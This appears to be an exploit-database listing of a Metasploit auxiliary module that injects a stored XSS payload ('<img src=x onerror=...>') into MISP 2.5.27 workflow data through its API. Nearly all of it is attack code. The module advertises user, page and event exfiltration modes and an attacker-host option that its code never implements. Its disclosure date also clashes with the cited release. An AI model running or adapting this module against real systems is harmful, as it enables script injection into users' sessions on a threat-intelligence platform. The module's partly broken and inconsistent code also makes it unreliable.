Share
## https://sploitus.com/exploit?id=PACKETSTORM:219772
==================================================================================================================================
| # Title : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.misp-project.org/2025/11/27/misp.2.5.27.released.html/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine.
It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MISP Workflow Engine Stored Cross-Site Scripting',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('API_KEY', [true, 'API key', '']),
OptEnum.new('PAYLOAD_MODE', [true, 'Mode',
'alert', ['alert','alert_info','console','console_info','exfiltrate_users','exfiltrate_page','exfiltrate_events']
]),
OptString.new('ATTACKER_HOST', [false, 'host:port', '127.0.0.1:8000']),
OptInt.new('EXFIL_LIMIT', [true, 'limit', 20]),
OptString.new('CUSTOM_PAYLOAD', [false, 'custom', '']),
OptBool.new('VERIFY_SSL', [true, 'SSL verify', false])
])
end
def setup
@base_url = normalize_uri(target_uri.to_s)
@api_key = datastore['API_KEY']
@mode = datastore['PAYLOAD_MODE']
@attacker_host = datastore['ATTACKER_HOST'].to_s
@limit = datastore['EXFIL_LIMIT'].to_i
@custom_payload = datastore['CUSTOM_PAYLOAD'].to_s
@workflow_id = nil
@trigger_id = nil
end
def run_host(ip)
print_status("Target: #{ip}:#{rport}")
return unless check_vulnerability
return unless create_workflow
return unless inject_payload
verify_payload
print_exploit_info
end
def check_vulnerability
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'servers/getVersion'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
begin
json = JSON.parse(res.body)
if json['version']
version = json['version'].to_s
if version.start_with?('2.5')
print_good("Version: #{version} (likely vulnerable)")
end
end
rescue
end
res2 = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/index'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res2
if res2.code == 200
print_good("Workflow API accessible")
return true
end
false
end
def create_workflow
name = "XSS_#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/add'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => { 'Workflow' => { 'name' => name } }.to_json,
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
json = JSON.parse(res.body) rescue nil
return false unless json
wf = json.dig('saved', 'Workflow') || json['Workflow']
return false unless wf
@workflow_id = wf['id'].to_s
@trigger_id = wf['trigger_id'].to_s
return false if @workflow_id.empty? || @trigger_id.empty?
print_good("Workflow: #{@workflow_id}")
true
end
def build_js_payload
return @custom_payload unless @custom_payload.empty?
case @mode
when 'alert'
"alert('MISP XSS');"
when 'console'
"console.log('MISP XSS');"
else
"alert('XSS');"
end
end
def build_html_payload(js)
"<img src=x onerror=\"#{js.gsub('"','\"')}\">"
end
def inject_payload
return false unless @workflow_id && @trigger_id
js = build_js_payload
html = build_html_payload(js)
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/edit/#{@workflow_id}"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'Workflow' => {
'id' => @workflow_id,
'data' => html
}
}.to_json,
'headers' => { 'Authorization' => @api_key }
})
if res && res.code == 200
print_good("Payload injected")
return true
end
false
end
def verify_payload
return unless @workflow_id
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/view/#{@workflow_id}"),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
if res.body.include?(@workflow_id)
print_good("Workflow exists (not reliable XSS proof)")
return true
end
false
end
def print_exploit_info
return unless @workflow_id
url = normalize_uri(@base_url, "workflows/view/#{@workflow_id}")
print_good("URL: #{url}")
report_note(
host: (defined?(rhost) ? rhost : nil),
port: (defined?(rport) ? rport : nil),
type: 'misp.xss',
data: { workflow_id: @workflow_id, url: url },
update: :unique_data
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================